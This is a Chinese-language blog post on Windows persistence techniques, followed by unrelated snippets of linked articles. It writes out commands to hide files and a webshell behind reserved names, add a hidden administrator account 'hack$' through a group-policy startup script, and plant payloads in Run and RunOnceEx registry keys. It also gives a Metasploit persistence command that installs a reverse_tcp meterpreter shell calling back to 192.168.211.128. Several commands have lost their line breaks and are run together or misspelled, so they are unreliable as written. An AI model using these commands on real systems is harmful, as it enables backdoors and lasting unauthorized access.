Windows权限维持学习

VSole2021-12-16 20:06:43

0x01 隐藏技巧

”真正“隐藏文件 

使用attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读

文件属性和隐藏文件属性。

attrib +s +a +h +r c:\test

这样不管是否隐藏文件,此文件都不可见

取消:

attrib -s -a -h -r c:\test

系统文件夹图标

1.将文件名重命名为 我的电脑.

{20D04FE0-3AEA-1069-A2D8-08002B30309D}

(这个是注册表里

面的clsid,打开过后也是我的电脑)

2.其他clsid

我的电脑 {20D04FE0-3AEA-1069-A2D8-08002B30309D}我的文档 {450D8FBA-AD25-11D0-98A8-0800361B1103}拨号网络 {992CFFA0-F557-101A-88EC-00DD010CCC48}控制面板 {21EC2020-3AEA-1069-A2DD-08002B30309D}计划任务 {D6277990-4C6A-11CF-8D87-00AA0060F5BF}打印机 {2227A280-3AEA-1069-A2DE-08002B30309D}记事本 {1FBA04EE-3024-11D2-8F1F-0000F87ABD16}网络邻居 {208D2C60-3AEA-1069-A2D7-08002B30309D}回收站 {645FF040-5081-101B-9F08-00AA002F954E}公文包 {85BBD920-42A0-1069-A2E4-08002B30309D}字体 {BD84B380-8CA2-1069-AB1D-08000948F534}Web 文件夹 {BDEADF00-C265-11d0-BCED-00A0C90AB50F}

畸形目录 

只需要在目录名后面加两个点(也可以是多个点),畸形目录和windows版本有关联。不是所有版本通用 

创建目录:

md a...\ ,

实际显示为a.. 

复制文件:

copy file c:\dir\a...\file

url访问:

/a.../file

删除目录:

 rd /s /q a...\

测试后发现好像在某些系统版本是可以访问目录的,但是图形化界面还是无法删除

利用系统保留文件名创建图形化界面无法删除的webshell,只能用命令行删除

Windows下不能够以下面这些字样来命名文件/文件夹,包括:

aux/com1/com2/prn/con/nul

但是通过cmd下是可以创建、删除此类文件夹的,使用copy命令:

copy file \\.\c:\dir\aux.aspdel \\.\c:\dir\aux.asptype \\.\c:\dir\aux.asp

\\.\是Windows下的特性,创建文件的时候加上了那访问的时候也必须加上

驱动级文件隐藏 

驱动隐藏最典型的现象就是系统盘存在以下文件

xlkfs.datxlkfs.dllxlkfs.ini...

使用软件

Easy file locker

0x02 组策略

因为其极具隐蔽性,因此可以利用来做服务器后门。可以通过这个后门运行某些程序或者

脚本,比如创建一个管理员用户

echo offnet user hack$ test168 /addnet localgroup administrator hack$ /addexit

运行->gpedit.msc->计算机配置->Windows设置->脚本(启动/关机),组策略中的这个后

门可以利用来运行脚本或者程序,嗅探管理员密码等

0x03 注册表-regedit

metasploit和sharpersist都提供了这种能力,在Windows登陆期间创建将执行任意负载的注

册表的项。

Run: 该项下的键值即为开机启动项,每一次随着开机而启动,作为持久化后门

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"
说明:/v 是指所选项下要添加的值名;/ve 添加空白值名(无名称);/t regkey数据类型,忽略则默认采用REG_SZ(S:字符串类型,Z:以零字节结尾)/d 要分配给添加的值名的数据,开机启动C:\Program Files (x86)\1.py/f 强行修改现有注册表项

cmd把用户从用户组中删除(即使是管理员用户也需要单独属于Administrator组,不能同

时属于其他用户组):

net localgroup 用户组 用户名 /delete

如果已经获得提升的凭据(管理员和system权限),则最好使⽤本地计算机注册表位置,

⽽不是当前⽤户,因为有效负载将在每次 系统启动时执⾏,⽽与使⽤系统身份验证的⽤户

⽆关。通常HKEY_LOCAL_MACHINE中的设置优先级要高于 HKEY_CURRENT_USER。此方法

也需要用户单独属于Administrator组。

eg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"

另外两个注册表位置 

允许红队人员通过执行任意有效负载或DLL来实现持久性,这些将在登陆期间执行,并且

需要管理员级别的特权(此方法也需要用户单独属于Administrator组)。

reg add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001"/v Pentestlab /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep end" /v Pentestlab /t REG_SZ /d "C:\Program Files (x86)\test.dll"

msf 注册表dll注入权限维持 

msf中带有脚本和后期利用模块来通过注册表达到持久性,msf脚本将以vbs脚本的形式创

建一个有效负载,将负载拖放到磁盘上,并创建一个注册表项,该注册表项将在用户登陆

期间运行该负载。

run persistence -U -P windows/meterpreter/reverse_tcp -i 5 -p 1234 -r 192.168.211.128
说明:-U #用户登陆时启用-P #指定payload-i #连接间隔时间-p #连接端口-r #连接主机

执行结果说明:

C:\Usersatha\AppData\Local\Temp\buFUzcFJpNNFu.vbs #vbs负载所在路劲HKCU\Software\Microsoft\Windows\CurrentVersion\Run\uoHiFnBHv #注册表项所在路径
注册表
本作品采用《CC 协议》,转载必须注明作者和本文链接
实际上,之所以很少有文章讨论这种注册表功能,并不是因为整个信息安全社区的技术差距。但是,注册表的杂乱无章的特性,貌似对攻击者特别有利,因为这便于藏匿其权限维护机制,并在网络外潜伏,直到蓝队转移视线。运行键存在于注册表中。因此,攻击者的one-liner命令的字符数不能超过这个限制。如果被写入到\Run的话,它在执行后并不会被删除。在进行安全审计时,有时需
Windows 注册表中包含有二进制块,有些二进制块用于存储证书,如下所示:以下的注册表位置都存储证书:
简介实验环境是Win7 X86系统。曾经在这篇文章中常见的几种DLL注入技术说过,通过修改注册表的内容可以实现AppInit_DLLs注入。那么本文的实验是通过CmRegisterCallback来实现对注册表修改的监控以此来阻止修改。并通过对CmRegisterCallback的逆向分析来实现对监控函数的删除。
在win2012以前的操作系统版本下,由于WDigest将明文储存到lsass进程中,可以抓取明文密码。
mimikatz的这个功能从本质上是解析Windows的数据库文件,从而获取其中存储的用户哈希。
2023年3月6日,基于星火·链网区块链基础设施构建的分布式标识BID解析服务全球专用端口号正式写入IANA的服务端口注册表,形成全球共识,标志着分布式标识BID向全球提供统一解析服务又迈出坚实的一步。IANA工作组的职责包括:为全球互联网提供IP地址空间分配、维护根域名服务器和协议标识符等标准数字资源。
系统安全第41篇是PowerShell系列的基础知识和注册表操作,希望您喜欢
代码框架 想法是尽量用一个通用的注入框架,有异常接收,令牌权限开启,获取进程PID的功能
文件系统Process Monitor显示所有的Windows文件系统活动,包括本地磁盘和远程文件系统。它会自动探测到新的文件系统设备并监听它们。所有的系统路径都会被显示为相对于在用户会话中的一个文件系统操作的执行。最后5个并排的按钮,是用来设置捕获哪些类型的事件,分别表示注册表的读写、文件的读写、网络的连接、进程和线程的调用和配置事件。
VSole
网络安全专家